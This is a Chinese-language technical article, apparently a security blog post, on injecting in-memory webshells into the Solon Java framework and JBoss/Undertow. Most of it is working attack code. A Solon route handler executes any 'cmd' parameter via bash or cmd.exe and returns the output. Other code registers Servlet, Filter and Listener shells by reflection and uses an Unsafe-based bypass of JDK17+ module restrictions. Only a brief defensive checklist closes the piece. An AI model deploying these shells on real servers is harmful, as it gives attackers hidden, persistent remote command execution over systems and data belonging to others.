Solon框架注入内存马(二)
字数 1122 2025-08-20 18:18:16
Solon框架内存马注入技术深入分析
一、Handler内存马注入技术
1. Solon路由机制分析
Solon框架通过RouterHandler类的handle方法处理请求,其中this.router存储了所有路径信息:
routesH数组存储RoutingDefault对象- 每个
RoutingDefault包含路径、请求方式和对应的Handler实现 ActionDefault是Handler的实现类,存储了处理类和方法信息
2. 动态路由注入原理
通过反射获取RouterDefault实例后,可以动态添加路由:
- 创建恶意类,包含攻击逻辑
- 获取
RouterDefault和AppContext对象 - 构造
ActionDefault对象 - 调用
RouterDefault.add()方法注册新路由
3. 完整注入代码实现
// 1. 创建恶意类
public static class MemShell {
public void pwn() {
Context ctx = Context.current();
try {
if(ctx.param("cmd")!=null) {
String str = ctx.param("cmd");
try {
String[] cmds = System.getProperty("os.name").toLowerCase().contains("win") ?
new String[]{"cmd.exe", "/c", str} :
new String[]{"/bin/bash", "-c", str};
String output = new java.util.Scanner(
new ProcessBuilder(cmds).start().getInputStream()
).useDelimiter("\\A").next();
ctx.output(output);
} catch (Exception e) {
e.printStackTrace();
}
}
} catch (Throwable e) {
ctx.output(e.getMessage());
}
}
}
// 2. 获取关键对象
Context ctx = Context.current();
Object _request = getfieldobj(ctx,"_request");
Object request = getfieldobj(_request,"request");
Object serverHandler = getfieldobj(request,"serverHandler");
Object handler = getfieldobj(serverHandler,"handler");
Object arg$1 = getfieldobj(handler,"arg$1");
AppContext appContext = (AppContext) getfieldobj(arg$1,"_context");
RouterDefault _router = (RouterDefault) getfieldobj(arg$1,"_router");
// 3. 注册内存马
BeanWrap beanWrap = new BeanWrap(appContext, MemShell.class);
Method method = MemShell.class.getDeclaredMethod("pwn");
Handler newhandler = new ActionDefault(beanWrap, method);
_router.add("/pwn", MethodType.ALL, newhandler);
二、JBoss AS中间件内存马注入
1. Servlet内存马注入
注入原理
- 获取
Deployment和DeploymentInfo对象 - 创建
ServletInfo对象配置Servlet信息 - 通过
deploymentInfo.addServlet()和deployment.getServlets().addServlet()注册
实现代码
// 获取关键对象
Object o = getCurrentThreadObj("io.undertow.servlet.handlers.ServletRequestContext");
Deployment deployment = (Deployment) getfieldobj(o, "deployment");
DeploymentInfo deploymentInfo = deployment.getDeploymentInfo();
// 创建并注册Servlet
ServletInfo servletInfo = new ServletInfo("ServletMemShell", MemServlet.class).addMapping("/S");
deploymentInfo.addServlet(servletInfo);
deployment.getServlets().addServlet(servletInfo);
// 恶意Servlet类
public static class MemServlet extends HttpServlet {
@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
res.setContentType("text/html;charset=utf-8");
res.getWriter().write("MemServlet\n");
// 攻击逻辑...
}
}
2. Filter内存马注入
注入原理
- 获取
Deployment和DeploymentInfo对象 - 创建
FilterInfo对象 - 通过
deploymentInfo.addFilter()和deployment.getFilters().addFilter()注册 - 使用
deploymentInfo.insertFilterUrlMapping()设置过滤路径
实现代码
FilterInfo filterInfo = new FilterInfo("FilterMemShell", MemFilter.class);
deploymentInfo.addFilter(filterInfo);
deploymentInfo.insertFilterUrlMapping(0, "FilterMemShell", "/hello/*", DispatcherType.REQUEST);
deployment.getFilters().addFilter(filterInfo);
// 恶意Filter类
public static class MemFilter implements Filter {
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
// 攻击逻辑...
chain.doFilter(request, response);
}
}
3. Listener内存马注入
注入原理
- 获取
Deployment和DeploymentInfo对象 - 创建
ListenerInfo对象 - 通过
deploymentInfo.addListener()注册 - 使用
deployment.getApplicationListeners().addListener()添加监听器
实现代码
ListenerInfo listenerInfo = new ListenerInfo(MemListener.class);
deploymentInfo.addListener(listenerInfo);
ManagedListener managedListener = new ManagedListener(listenerInfo, false);
deployment.getApplicationListeners().addListener(managedListener);
// 恶意Listener类
public class MemListener implements ServletRequestListener {
@Override
public void requestInitialized(ServletRequestEvent sre) {
try {
// 绕过JDK17+反射限制
bypassreflect(MemListener.class);
Object o = getCurrentThreadObj("io.undertow.servlet.handlers.ServletRequestContext");
HttpServletResponseImpl response = (HttpServletResponseImpl) getfieldobj(o, "originalResponse");
response.getWriter().write("MemListener!!!");
} catch (Exception e) {
e.printStackTrace();
}
}
public void bypassreflect(Class currentClass) throws Exception {
Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field field = unsafeClass.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);
Module baseModule = Object.class.getModule();
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(currentClass, addr, baseModule);
}
}
三、关键工具方法
1. 反射工具方法
// 获取字段值
public Object getfieldobj(Object obj, String fieldname) throws NoSuchFieldException, IllegalAccessException {
try {
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException e) {
Field field = obj.getClass().getSuperclass().getDeclaredField(fieldname);
field.setAccessible(true);
return field.get(obj);
}
}
// 从当前线程获取对象
public Object getCurrentThreadObj(String classname) throws Exception {
Thread currentThread = Thread.currentThread();
Object threadLocals = getfieldobj(currentThread, "threadLocals");
Object[] table = (Object[]) getfieldobj(threadLocals, "table");
for (int i = 0; i < table.length; i++) {
Object tmpobj = table[i];
if (tmpobj == null) continue;
Object obj = getfieldobj(tmpobj, "value");
if (obj != null && obj.getClass().getName().equals(classname)) {
return obj;
}
}
return null;
}
四、防护建议
- 监控Solon框架中动态添加的路由
- 检查
DeploymentInfo中新增的Servlet、Filter和Listener - 限制反射操作,特别是
Unsafe类的使用 - 实施运行时字节码检测,识别恶意类加载
- 定期更新框架版本,修复已知漏洞